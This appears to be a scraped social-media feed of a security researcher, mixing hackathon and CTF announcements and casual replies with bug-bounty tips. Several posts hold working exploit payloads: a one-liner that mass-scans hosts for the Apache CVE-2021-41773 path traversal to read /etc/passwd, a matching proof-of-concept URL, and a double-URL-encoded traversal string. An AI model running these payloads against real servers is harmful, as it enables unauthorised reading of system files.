Logan

Security Researcher

[DSCI @DSCI_Connect]

Celebrating the brilliant minds behind this year’s OT Hackathon, jointly hosted by DSCI and @Siemens!

After intense problem-solving, real-world OT scenarios, and hours of hands-on engineering, the top teams emerged with solutions that stood out for their clarity, practicality, and impact.

Winners: Team Turtleneck
1st Runner up: Team Logan
2nd Runner Up: FLAGship_FeLLows

[Logan @LoganWerewolf]

@IndiaWarZone It’s a result of wrongful decisions taken by Nepal Government recently. Apparantly they have banned most of the social media accounts within it’s country. (Including whatsapp as well)

[The SecOps Group @TheSecOpsGroup]

🎖️ FREE Certified Network Security Practitioner (CNSP) Exam!🎖️

**No discount code needed**

Here's how to claim your offer:
1️⃣ Like and share this post.
2️⃣ Fill out this Google form: 📝https://t.co/oM5DRMpGKO
3️⃣ After submitting the form, we will email you the exam details. 💯

🔗For more information, click here:
https://t.co/F1ovV9MQkB

[Logan @LoganWerewolf]

@KushagraBainsla Hi Kushagra,

I am facing similar issue from Nike and Aramex. Was your issue resolved? Please let me know the required steps to be done here.

Thanks

[Logan @LoganWerewolf]

(2)
CVE-2021-41773 POC
One Liner 🔥:

cat file.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot-Vulnerable\n";done

[Logan @LoganWerewolf]

Apache Server Exploit

CVE-2021-41773: Flaw is in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root.

POC:
127.0.0.1/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

(1)

[Logan @LoganWerewolf]

It was indeed a wonderful session organised by @nullcon . Special thanks to @0ctac0der and @EnciphersLabs for the session on 'Real-World Web Application Hacking' with real-time hands-on exercises.

#nullcon #infosec #webapp #cybersecurity #training

[Logan @LoganWerewolf]

@AnubhavSingh_ Nicely explained. Good going mate!

[Logan @LoganWerewolf]

Hi Community,

XXE, SSRF and Deserialisation are the new SQL Injection.

What are your views about this?

#cybersecurity #vapt #infosec #pentest #webvapt #webapp

[Logan @LoganWerewolf]

@hexachordanu Welcome back :)

[Emad Shanab - أبو عبد الله @Alra3ees]

2FA Bypass Techniques Tips:-
https://t.co/GnATEP7SDu

[Logan @LoganWerewolf]

@SecInnovation Haha, thanks! :D

[Logan @LoganWerewolf]

Thank you @SecInnovation for the wonderful swags! :)

#swag #cybersecurity #infosec #ctf

[Logan @LoganWerewolf]

@ethicalhacker @ine @PancakesCon Thank you! I think I'll start with Exploit development :)

[Logan @LoganWerewolf]

Glad to share that I have won 1st Prize i.e. Annual INE @ine Premium Subscription worth $750 in PancakesCon 2021 CTF. Thank you @PancakesCon for organising such an interesting live CTF.

#cybersecurity #ctf #infosec #PancakesCon #INE

[Logan @LoganWerewolf]

@ine @PancakesCon Thanks a lot!

[Logan @LoganWerewolf]

@2510utkarsh Thanks!

[Logan @LoganWerewolf]

@thekishansharma @ine @PancakesCon Thank you bro :)

[Logan @LoganWerewolf]

A wise man once said, "When there is an input box asking link, there is a SSRF" .

#thoughtoftheday #cybersecurity #bugbountytips #infosec

[Logan @LoganWerewolf]

An interesting directory traversal bypass :

/../../etc/passwd — Got nothing?

Try this:

%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Directory traversal with double URL encoding :)

#bugbountytips #cybersecurity #bugbounty #infosec